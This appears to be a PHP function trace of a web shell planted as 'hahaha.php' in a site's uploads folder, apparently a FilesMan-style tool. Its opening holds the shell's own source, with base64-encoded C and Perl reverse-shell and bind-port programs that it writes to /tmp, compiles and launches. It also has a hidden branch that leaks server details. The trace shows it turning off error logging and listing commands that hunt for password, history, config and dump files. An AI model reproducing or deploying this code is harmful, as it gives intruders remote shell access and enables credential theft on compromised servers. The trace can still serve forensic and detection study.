{\r\n\thardHeader();\r\n\t$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";\r\n\t$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\r\n\t$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";\r\n\t$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\r\n\techo "<h1>Network tools</h1><div class=content>\r\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.port.value,this.pass.value);return false;\'>\r\n\t<span>Bind port to /bin/sh</span><br/>\r\n\tPort: <input type=\'text\' name=\'port\' value=\'31337\'> Password: <input type=\'text\' name=\'pass\'> Using: <label><select name=\'using\'><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select></label> <input type=submit value=\'submit\'>\r\n\t</form>\r\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.server.value,this.port.value);return false;\'>\r\n\t<span>Back-connect to</span><br/>\r\n\tServer: <input type=\'text\' name=\'server\' value=". $_SERVER[\'REMOTE_ADDR\'] ."> Port: <input type=\'text\' name=\'port\' value=\'31337\'> Using: <label><select name=\'using\'><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select></label> <input type=submit value=\'submit\'>\r\n\t</form><br>";\r\n\tif(isset($_POST[\'p1\'])) {\r\n\t\tfunction cf($f,$t) {\r\n\t\t\t$w=@fopen($f,"w") or @function_exists(\'file_put_contents\');\r\n\t\t\tif($w)\t{\r\n\t\t\t\t@fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));\r\n\t\t\t\t@fclose($w);\r\n\t\t\t}\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bpc\') {\r\n\t\t\tcf("/tmp/bp.c",$bind_port_c);\r\n\t\t\t$▖ = ex("gcc -o /tmp/bp /tmp/bp.c");\r\n\t\t\t@unlink("/tmp/bp.c");\r\n\t\t\t$▖ .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bp")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bpp\') {\r\n\t\t\tcf("/tmp/bp.pl",$bind_port_p);\r\n\t\t\t$▖ = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bp.pl")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcc\') {\r\n\t\t\tcf("/tmp/bc.c",$back_connect_c);\r\n\t\t\t$▖ = ex("gcc -o /tmp/bc /tmp/bc.c");\r\n\t\t\t@unlink("/tmp/bc.c");\r\n\t\t\t$▖ .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcp\') {\r\n\t\t\tcf("/tmp/bc.pl",$back_connect_p);\r\n\t\t\t$▖ = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc.pl")."</pre>";\r\n\t\t}\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nif( empty($_POST[\'a\']) ){\r\n\tif(isset($▚) && function_exists(\'action\' . $▚)){\r\n\t\t$_POST[\'a\'] = $▚;}\r\n\telse{\r\n\t\t$_POST[\'a\'] = \'FilesMan\'; } }\r\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) ){\r\n\tcall_user_func(\'action\' . $_POST[\'a\']);}\r\n\t\r\n}else {\r\n    $ziwziw = $_POST[\'lynx\'];\r\n    if ($ziwziw == \'adding\') {\r\n        echo php_uname();\r\n        echo \'sarafinoubombom\';\r\n    } else if ($ziwziw == \'ip\') {\r\n        //$ip = file_get_contents("http://ipecho.net/plain");\r\n        $ip = $_SERVER[\'SERVER_ADDR\'];\r\n        if (filter_var($ip, FILTER_VALIDATE_IP)) {\r\n            echo $ip;\r\n            echo \'sarafinoubombom\';\r\n        } else {\r\n            $host = gethostname();\r\n            $ip = gethostbyname($host);\r\n            echo $ip;\r\n            echo \'sarafinoubombom\';\r\n        }\r\n    }\r\n} '	/var/www/html/uploads/hahaha.php	1	0
2		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	3	$▛ = ''
2		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	4	$▘ = TRUE
2		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	5	$▜ = 'UTF-8'
2		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	6	$▚ = 'FilesMan'
3	11	0	0.013115	1514328	md5	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	7	1	'python-requests/2.25.1'
3	11	1	0.013132	1514424
3	11	R			'ecd862b3d0595af0a0b03f511e800938'
2		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	7	$▙ = 'ecd862b3d0595af0a0b03f511e800938'
3	12	0	0.013161	1514392	md5	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	12	1	'localhost'
3	12	1	0.013175	1514488
3	12	R			'421aa90e079fa326b6494f812ad13e79'
3	13	0	0.013192	1514392	md5	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	13	1	'localhost'
3	13	1	0.013206	1514488
3	13	R			'421aa90e079fa326b6494f812ad13e79'
3	14	0	0.013221	1514456	prototype	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	13	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	10	_COOKIE['421aa90e079fa326b6494f812ad13e79key'] = 'ecd862b3d0595af0a0b03f511e800938'
4	15	0	0.013254	1514832	setcookie	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	10	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
4	15	1	0.013273	1515032
4	15	R			TRUE
3	14	1	0.013287	1514968
2		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	16	_POST['charset'] = 'UTF-8'
3	16	0	0.013310	1515344	ini_set	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	25	2	'error_log'	NULL
3	16	1	0.013326	1515416
3	16	R			''
3	17	0	0.013340	1515344	ini_set	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	26	2	'log_errors'	0
3	17	1	0.013355	1515416
3	17	R			'1'
3	18	0	0.013368	1515344	ini_set	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	27	2	'max_execution_time'	0
3	18	1	0.013384	1515448
3	18	R			'30'
3	19	0	0.013397	1515344	set_time_limit	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	28	1	0
3	19	1	0.013411	1515408
3	19	R			FALSE
3	20	0	0.013425	1515376	define	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	31	2	'VERSION'	'4.2.5'
3	20	1	0.013439	1515480
3	20	R			TRUE
3	21	0	0.013452	1515408	get_magic_quotes_gpc	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	32	0
3	21	1	0.013466	1515408
3	21	R			FALSE
3	22	0	0.013479	1515408	md5	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	46	1	'localhost'
3	22	1	0.013493	1515504
3	22	R			'421aa90e079fa326b6494f812ad13e79'
3	23	0	0.013508	1515408	md5	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	47	1	'localhost'
3	23	1	0.013525	1515504
3	23	R			'421aa90e079fa326b6494f812ad13e79'
2		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	47	_COOKIE['421aa90e079fa326b6494f812ad13e79ajax'] = TRUE
3	24	0	0.013555	1515472	substr	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	58	3	'Linux'	0	3
3	24	1	0.013570	1515600
3	24	R			'Lin'
3	25	0	0.013582	1515504	strtolower	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	58	1	'Lin'
3	25	1	0.013596	1515568
3	25	R			'lin'
2		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	61	$os = 'nix'
3	26	0	0.013621	1515472	ini_get	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	62	1	'safe_mode'
3	26	1	0.013635	1515504
3	26	R			FALSE
2		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	62	$safe_mode = FALSE
3	27	0	0.013659	1515472	error_reporting	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	64	1	0
3	27	1	0.013673	1515512
3	27	R			22527
3	28	0	0.013685	1515472	ini_get	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	65	1	'disable_functions'
3	28	1	0.013700	1515952
3	28	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
2		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	65	$disable_functions = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
3	29	0	0.013747	1515920	getcwd	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	66	0
3	29	1	0.013761	1515968
3	29	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	66	$home_cwd = '/var/www/html/uploads'
3	30	0	0.013788	1515968	getcwd	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	69	0
3	30	1	0.013802	1516016
3	30	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	69	$cwd = '/var/www/html/uploads'
2		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	75	$cwd .= '/'
3	31	0	0.013839	1516016	function_exists	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	264	1	'posix_getpwuid'
3	31	1	0.013854	1516056
3	31	R			TRUE
3	32	0	0.013866	1516016	function_exists	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	265	1	'posix_getgrgid'
3	32	1	0.013880	1516056
3	32	R			TRUE
2		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	607	$aliases = ['List dir' => 'ls -lha', 'list file attributes on a Linux second extended file system' => 'lsattr -va', 'show opened ports' => 'netstat -an | grep -i listen', 'process status' => 'ps aux', 'Find' => '', 'find all suid files' => 'find / -type f -perm -04000 -ls', 'find suid files in current dir' => 'find . -type f -perm -04000 -ls', 'find all sgid files' => 'find / -type f -perm -02000 -ls', 'find sgid files in current dir' => 'find . -type f -perm -02000 -ls', 'find config.inc.php files' => 'find / -type f -name config.inc.php', 'find config* files' => 'find / -type f -name "config*"', 'find config* files in current dir' => 'find . -type f -name "config*"', 'find all writable folders and files' => 'find / -perm -2 -ls', 'find all writable folders and files in current dir' => 'find . -perm -2 -ls', 'find all service.pwd files' => 'find / -type f -name service.pwd', 'find service.pwd files in current dir' => 'find . -type f -name service.pwd', 'find all .htpasswd files' => 'find / -type f -name .htpasswd', 'find .htpasswd files in current dir' => 'find . -type f -name .htpasswd', 'find all .bash_history files' => 'find / -type f -name .bash_history', 'find .bash_history files in current dir' => 'find . -type f -name .bash_history', 'find all .fetchmailrc files' => 'find / -type f -name .fetchmailrc', 'find .fetchmailrc files in current dir' => 'find . -type f -name .fetchmailrc', 'Locate' => '', 'locate httpd.conf files' => 'locate httpd.conf', 'locate vhosts.conf files' => 'locate vhosts.conf', 'locate proftpd.conf files' => 'locate proftpd.conf', 'locate psybnc.conf files' => 'locate psybnc.conf', 'locate my.conf files' => 'locate my.conf', 'locate admin.php files' => 'locate admin.php', 'locate cfg.php files' => 'locate cfg.php', 'locate conf.php files' => 'locate conf.php', 'locate config.dat files' => 'locate config.dat', 'locate config.php files' => 'locate config.php', 'locate config.inc files' => 'locate config.inc', 'locate config.inc.php' => 'locate config.inc.php', 'locate config.default.php files' => 'locate config.default.php', 'locate config* files ' => 'locate config', 'locate .conf files' => 'locate \'.conf\'', 'locate .pwd files' => 'locate \'.pwd\'', 'locate .sql files' => 'locate \'.sql\'', 'locate .htpasswd files' => 'locate \'.htpasswd\'', 'locate .bash_history files' => 'locate \'.bash_history\'', 'locate .mysql_history files' => 'locate \'.mysql_history\'', 'locate .fetchmailrc files' => 'locate \'.fetchmailrc\'', 'locate backup files' => 'locate backup', 'locate dump files' => 'locate dump', 'locate priv files' => 'locate priv']
3	33	0	0.013964	1516056	function_exists	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	1626	1	'actionFilesMan'
3	33	1	0.013980	1516096
3	33	R			TRUE
2		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	1627	_POST['a'] = 'FilesMan'
3	34	0	0.014007	1516056	function_exists	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	1630	1	'actionFilesMan'
3	34	1	0.014022	1516096
3	34	R			TRUE
3	35	0	0.014036	1516016	actionFilesMan	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	1631	0
4	36	0	0.014050	1516016	hardHeader	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	883	0
5	37	0	0.014065	1518552	htmlspecialchars	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	119	1	'/var/www/html/uploads/'
5	37	1	0.014082	1518744
5	37	R			'/var/www/html/uploads/'
5	38	0	0.014097	1518552	htmlspecialchars	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	120	1	'FilesMan'
5	38	1	0.014111	1518744
5	38	R			'FilesMan'
5	39	0	0.014125	1519064	htmlspecialchars	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	121	1	'UTF-8'
5	39	1	0.014144	1519256
5	39	R			'UTF-8'
5	40	0	0.014159	1519064	strpos	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	122	2	NULL	'\n'
5	40	1	0.014174	1519136
5	40	R			FALSE
5	41	0	0.014188	1519064	htmlspecialchars	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	122	2	NULL	3
5	41	1	0.014202	1519296
5	41	R			''
5	42	0	0.014216	1519064	strpos	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	123	2	NULL	'\n'
5	42	1	0.014230	1519136
5	42	R			FALSE
5	43	0	0.014244	1519064	htmlspecialchars	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	123	2	NULL	3
5	43	1	0.014258	1519296
5	43	R			''
5	44	0	0.014272	1519064	strpos	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	124	2	NULL	'\n'
5	44	1	0.014286	1519136
5	44	R			FALSE
5	45	0	0.014299	1519064	htmlspecialchars	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	124	2	NULL	3
5	45	1	0.014313	1519296
5	45	R			''
5	46	0	0.014326	1524184	md5	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	136	1	'localhost'
5	46	1	0.014340	1524280
5	46	R			'421aa90e079fa326b6494f812ad13e79'
5	47	0	0.014355	1524184	md5	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	137	1	'localhost'
5	47	1	0.014368	1524280
5	47	R			'421aa90e079fa326b6494f812ad13e79'
5	48	0	0.014383	1524184	md5	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	138	1	'localhost'
5	48	1	0.014396	1524280
5	48	R			'421aa90e079fa326b6494f812ad13e79'
5	49	0	0.014410	1524184	md5	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	139	1	'localhost'
5	49	1	0.014423	1524280
5	49	R			'421aa90e079fa326b6494f812ad13e79'
5	50	0	0.014438	1524184	md5	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	140	1	'localhost'
5	50	1	0.014451	1524280
5	50	R			'421aa90e079fa326b6494f812ad13e79'
5	51	0	0.014465	1524184	addslashes	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	152	1	'/uploads/hahaha.php'
5	51	1	0.014478	1524216
5	51	R			'/uploads/hahaha.php'
5	52	0	0.014499	1516104	diskfreespace	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	184	1	'/var/www/html/uploads/'
5	52	1	0.014518	1516136
5	52	R			203522609152
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	184	$freeSpace = 203522609152
5	53	0	0.014545	1516104	disk_total_space	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	185	1	'/var/www/html/uploads/'
5	53	1	0.014560	1516136
5	53	R			232015802368
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	185	$totalSpace = 232015802368
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	186	$totalSpace = 232015802368
5	54	0	0.014597	1516104	php_uname	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	187	1	'r'
5	54	1	0.014612	1516184
5	54	R			'5.15.0-60-generic'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	187	$release = '5.15.0-60-generic'
5	55	0	0.014638	1516152	php_uname	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	188	1	's'
5	55	1	0.014652	1516216
5	55	R			'Linux'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	188	$kernel = 'Linux'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	189	$explink = 'https://noreferer.de/?https://www.exploit-db.com/search/?action=search&description='
5	56	0	0.014691	1516184	strpos	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	190	2	'Linux'	'Linux'
5	56	1	0.014705	1516256
5	56	R			0
5	57	0	0.014718	1516184	substr	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	191	3	'5.15.0-60-generic'	0	6
5	57	1	0.014733	1516312
5	57	R			'5.15.0'
5	58	0	0.014746	1516232	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	191	1	'Linux Kernel 5.15.0'
5	58	1	0.014760	1516312
5	58	R			'Linux+Kernel+5.15.0'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	191	$explink .= 'Linux+Kernel+5.15.0'
5	59	0	0.014787	1516312	function_exists	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	194	1	'posix_getegid'
5	59	1	0.014801	1516352
5	59	R			TRUE
5	60	0	0.014814	1516312	posix_geteuid	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	200	0
5	60	1	0.014832	1516312
5	60	R			33
5	61	0	0.014845	1516312	posix_getpwuid	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	200	1	33
5	61	1	0.014877	1517144
5	61	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	200	$uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
5	62	0	0.014920	1517112	posix_getegid	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	201	0
5	62	1	0.014934	1517112
5	62	R			33
5	63	0	0.014946	1517112	posix_getgrgid	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	201	1	33
5	63	1	0.014974	1517776
5	63	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	201	$gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	202	$user = 'www-data'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	203	$uid = 33
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	204	$group = 'www-data'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	205	$gid = 33
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	207	$cwd_links = ''
5	64	0	0.015065	1516392	explode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	208	2	'/'	'/var/www/html/uploads/'
5	64	1	0.015081	1517000
5	64	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	208	$path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	209	$n = 6
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	210	$i = 0
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	211	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	212	$j = 0
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	213	$cwd_links .= '/'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	212	$j++
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	214	$cwd_links .= '")\'>/</a>'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	210	$i++
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	211	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	212	$j = 0
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	213	$cwd_links .= '/'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	212	$j++
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	213	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	212	$j++
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	214	$cwd_links .= '")\'>var/</a>'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	210	$i++
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	211	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	212	$j = 0
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	213	$cwd_links .= '/'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	212	$j++
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	213	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	212	$j++
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	213	$cwd_links .= 'www/'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	212	$j++
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	214	$cwd_links .= '")\'>www/</a>'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	210	$i++
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	211	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	212	$j = 0
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	213	$cwd_links .= '/'
